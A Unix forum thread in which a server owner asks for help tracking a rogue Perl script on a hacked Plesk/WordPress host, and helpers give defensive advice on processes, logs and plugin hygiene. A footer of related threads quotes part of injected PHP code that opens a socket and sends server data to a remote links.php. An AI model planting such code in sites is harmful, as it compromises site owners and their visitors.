Malicious perl script

Login or Register for Dates, Times and to Reply

Thread Tools Search this Thread
# 8  
Originally Posted by drysdalk
Can I just check - it looks from what you've said that you're trying to type 1s (that's a number one followed by a lower-case letter 'S') rather than ls (that's a lower-case letter 'L' followed by a lower-case letter 'S', which is the correct command).

If that's what you've been doing, could you try again with the correct command name and see what happens please ?

If you have been typing it correctly then your system must be quite badly damaged or missing some very fundamental binaries, since the ls command is pretty much as common as it gets on any UNIX-style system.
You are right. I was doing it wrong. It did look like a 1 to this is what I got:
[root@dedicated ~]# ls -l /proc/4600
ls: cannot access /proc/4600: No such file or directory
[root@dedicated ~]# ls -l/proc/4600/fd
ls: invalid option -- '/'
Try `ls --help' for more information.
[root@dedicated ~]# ls -l /proc/4600/fd
ls: cannot access /proc/4600/fd: No such file or directory
[root@dedicated ~]# ls -a
.                  echo                                      .odbc.ini
..                                       parallels
1                  ghosttest                                 .pki
anaconda-ks.cfg    ghosttest.c                               plk
.autoinstaller                                psasem.sem
.bash_history                           .rnd
.bash_logout       install.log                     
.bash_profile      install.log.syslog                        .spamassassin
.bashrc            .lesshst                                  .ssh
bash-shellshocker  mysql-community-release-el6-5.noarch.rpm  strace.log
.cshrc             .mysql_history                            .tcshrc

Tech support got back to me last night said it was a brute force attack (?) and that my install of "ban to fail" stopped it. But to me it looks as if it was run from "inside my computer". It slowed the server down to a crawl. also legitimate emails have stopped being able to send to comcast, Verizon, yahoo,etc. Have contacted them but they say we are not on their black list. Just can't figure this out. I have a minimal tech support package so they say "You have this....and you need to do this....good luck....Oh and by the way you can upgrade for $$$".

Last edited by dadprpus; 02-24-2017 at 08:39 AM..
# 9  

The error messages you got from 'ls' would mean that that PID 4600 no longer exists - in other words, the process with ID 4600 has since exited. These kinds of things only tend to hang around for so long, and you really need to catch them right in the act to have any decent chance of easily tracking them down. If you see any other suspicious processes still (to recap, that would be processes owned by 'apache' but which claim to be anything other than 'httpd') then have a look at their entries in the /proc filesystem in the same way. But most likely it's all over and done with by now.

Unfortunately, the bigger problem you have here is not in fact the rogue scripts themselves, but the question of how they came to be on your system in the first place. In my experience, an attacker finds something they can exploit, like a file upload form without sufficient security protection, or some other script that they can exploit to make it upload things to a globally-writable location on the server. Once they upload their script, they then run it, it hangs about for a bit while it does its thing, then exits.

So the more important thing you have to do here is figure out how the attackers got these scripts on your system. The fact that they might still be somewhere on your server is certainly a problem, but a bigger problem is the fact that they were able to be on your server at all in the first place. In all likelihood you have a security hole somewhere that could be exploited by the same attacker again, or an entirely different attacker in the future.
# 10  
I must also tell you that one of my my friends newly installed website which was a wordpress site from another host,, which i let them install...big mistake...had some bad code and I see user petra has php-cgi running where there shouldn't be. So, this may be the culprit. tried running the proc command on that:
764 petra195 30 10 130m 37m 29m S 2.3 2.0 0:01.20 php-cgi
606 petra195 30 10 130m 37m 29m S 0.0 2.0 0:01.08 php-cgi
and got nothing. He should have no cgi scripts running. How do I find and remove them if they are buried in the install?
# 11  

Ah, WordPress. So many times I've seen compromised sites and servers that began with an incorrectly-configured, inadequately-secured or out-of-date WordPress install. Seeing 'php-cgi' by itself isn't necessarily sinister. WordPress is PHP based, and so any page you access will certainly spawn a PHP process somehow.

If your server is running Plesk (and from the 'sw-engine-fpm' process in one of your earlier process lists I'm pretty sure it must be), then this is a fairly standard way for Plesk to deal with PHP requests. Any request for a page that needs PHP to handle it will result in a 'php-cgi' process being spawned by Plesk, if it's configured to handle PHP in its usual way.

But I'd definitely start with that WordPress install, in terms of a suspect. At a bare minimum ensure it's up-to-date, that all its plugins are up-to-date (and that they are all legitimate and not malicious or suspicious plugins), that all your WordPress users and admins are ones you actually expect to exist , that they all have good strong passwords set, and so on and so forth. Pay very close attention to anything that allows file uploads in particular. Having anything that allows uploads of any sort without a username and password being required is a disaster waiting to happen, pretty much.
# 12  
Well, I thought I took care of that by making him start from scratch. I dumped the entire site, including the database, did a clean install of wordpress myself from and only installed plugins for the official site via their built in tools. No ftp of plugins from strange places. So, I thought he was clean.
You can only upload into the media section from the admin section of the site so I think he should be fine there, unless he has malicious code attached to a graphic? Is that possible?
# 13  

It certainly sounds like you've been sensible in how you've set up WordPress, from what you describe. And whilst it would be possible to conceal a malicious script in an image, this isn't commonly seen, and tends to be a result of far more subtle and advanced compromises than what you appear to be experiencing.

The main thing I suggest right now is to see if there are still any suspicious processes on your system at the moment. If there are, then you need to find out as much as you can about them before they exit or are killed off. If there aren't, then your next best avenue of investigation would be to look at your Web server logs for anything that appears out-of-the-ordinary.

On a Plesk-style system (if that is indeed what you have), these are typically stored as /var/www/vhosts/, where should of course be replaced with your own Web site's domain. If it's a WordPress site, then any mention of the Perl interpreter or Perl scripts in those logs would constitute an abnormal finding.
# 14  
I do have Plesk and it is very user friendly. I have installed "watchdog" and it runs a script periodically and sends me an email. No viruses found but it did come up with this:
[14:28:03] Info: SCAN_MODE_DEV set to 'THOROUGH'
[14:28:04]   Checking /dev for suspicious file types         [ Warning ]
[14:28:04] Warning: Suspicious file types found in /dev:
[14:28:04]          /dev/shm/R1Soft-SHM-ZocPNFWuCcEl2rrN: data
[14:28:04]   Checking for hidden files and directories       [ Warning ]
[14:28:04] Warning: Hidden directory found: /dev/.udev
[14:28:04] Warning: Hidden file found: /usr/share/man/man1/..1.gz: gzip compressed data, from Unix, max compression
[14:28:04] Warning: Hidden file found: /usr/share/man/man5/.k5login.5.gz: gzip compressed data, from Unix, max compression
[14:28:04] Warning: Hidden file found: /usr/share/man/man5/.k5identity.5.gz: gzip compressed data, from Unix, max compression
[14:28:04] Warning: Hidden file found: /usr/bin/.fipscheck.hmac: ASCII text
[14:28:04] Warning: Hidden file found: /usr/bin/.ssh.hmac: ASCII text
[14:28:04] Warning: Hidden file found: /usr/sbin/.sshd.hmac: ASCII text

Moderator's Comments:
Mod Comment Please use CODE tags as required by forum rules!

Last edited by RudiC; 02-24-2017 at 10:14 AM.. Reason: Added CODE tags.
Login or Register for Dates, Times and to Reply

Previous Thread | Next Thread
Thread Tools Search this Thread
Search this Thread:
Advanced Search

7 More Discussions You Might Find Interesting

1. Programming

PERL: In a perl-scripttTrying to execute another perl-script that SETS SOME VARIABLES !

I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open()) I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies

2. Shell Programming and Scripting

Malicious pl script, what does it do

Hello, i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin: Posting links to pastebin scripts are forbidden at this site. Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies

3. Shell Programming and Scripting

Perl : embedding java script with cgi perl script

Hi All, I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ?? print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">"); print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies

4. Shell Programming and Scripting

calling a perl script with arguments from a parent perl script

I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard. From $input1=123; $input2=abc; I tried calling it with system("/usr/bin/perl $input1 $input2"); and `perl... (1 Reply)
Discussion started by: grajp002
1 Replies

5. Cybersecurity

How to analyze malicious code

A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work: CSI:Internet - Alarm at the pizza service CSI:Internet - The image of death CSI:Internet - PDF timebomb CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies

6. Shell Programming and Scripting

Anti-malicious files and viruses

Hello I ask you how to make a Anti-malicious files and viruses Or if one of you a small example of the work on the same place and I hope my request I want a small patch or the process of examination Virus ---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies

7. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = ""; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

Featured Tech Videos